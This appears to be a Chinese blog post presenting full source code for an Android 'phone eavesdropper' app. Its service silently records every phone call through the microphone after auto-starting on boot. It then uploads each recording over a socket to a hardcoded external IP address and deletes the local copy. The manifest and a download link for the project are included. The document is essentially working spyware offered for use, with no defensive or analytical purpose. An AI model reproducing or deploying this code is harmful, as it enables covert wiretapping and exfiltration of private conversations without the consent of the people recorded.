Android电话窃听器的实现
16lz
2021-12-04
PhoneListenService.java
package cn.itcast.phone;import java.io.File;import java.io.OutputStream;import java.io.PushbackInputStream;import java.io.RandomAccessFile;import java.net.Socket;import cn.itcast.utils.StreamTool;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class PhoneListenService extends Service {private static final String TAG = "PhoneListenService";@Overridepublic void onCreate() {TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);Log.i(TAG, "service created");super.onCreate();}@Overridepublic void onDestroy() {//清空缓存目录下的所有文件File[] files = getCacheDir().listFiles();if(files!=null){for(File f: files){f.delete();}}Log.i(TAG, "service destroy");super.onDestroy();}private class TelListener extends PhoneStateListener{private MediaRecorder recorder;private String mobile;private File audioFile;private boolean record;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch (state){case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */if(record){recorder.stop();//停止刻录recorder.release();record = false;new Thread(new UploadTask()).start();Log.i(TAG, "start upload file");}break;case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */ Log.i(TAG, "OFFHOOK:"+ mobile); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); recorder.prepare();//预期准备 recorder.start(); //开始刻录 record = true; break;case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */Log.i(TAG, "incomingNumber:"+ incomingNumber);mobile = incomingNumber;break;default:break;}} catch (Exception e) {Log.e(TAG, e.toString());}super.onCallStateChanged(state, incomingNumber);}private final class UploadTask implements Runnable{@Overridepublic void run() {try {Socket socket = new Socket("220.113.15.71", 7878); OutputStream outStream = socket.getOutputStream(); String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n"; outStream.write(head.getBytes()); PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());String response = StreamTool.readLine(inStream); String[] items = response.split(";");String position = items[1].substring(items[1].indexOf("=")+1);RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");fileOutStream.seek(Integer.valueOf(position));byte[] buffer = new byte[1024];int len = -1;while( (len = fileOutStream.read(buffer)) != -1){outStream.write(buffer, 0, len);}fileOutStream.close();outStream.close(); inStream.close(); socket.close(); audioFile.delete(); } catch (Exception e) { Log.e(TAG, e.toString()); }}}}@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}}
BootBroadcastReceiver.java
package cn.itcast.phone;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent service = new Intent(context, PhoneListenService.class);context.startService(service);}}
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.phone" android:versionCode="1" android:versionName="1.0"> <application android:icon="@drawable/icon" android:label="@string/app_name"><service android:name=".PhoneListenService" /><receiver android:name=".BootBroadcastReceiver"><intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter></receiver> </application> <uses-sdk android:minSdkVersion="7" /><uses-permission android:name="android.permission.RECORD_AUDIO"/><!-- 访问网络的权限 --><uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/></manifest>
项目源码下载: http://pan.baidu.com/share/link?shareid=272323&uk=1796216265
更多相关文章
- Android蓝牙耳机接听挂断电话流程
- android手机打电话代码分析
- Android的电话功能介绍
- 如何在Android上获取本机号码?
- Android(安卓)之 调用短信界面
- 转:android 电话流程分析
- 电话接听并查看该人姓名
- android小程序 查询电话号码信息
- Android打电话&发短信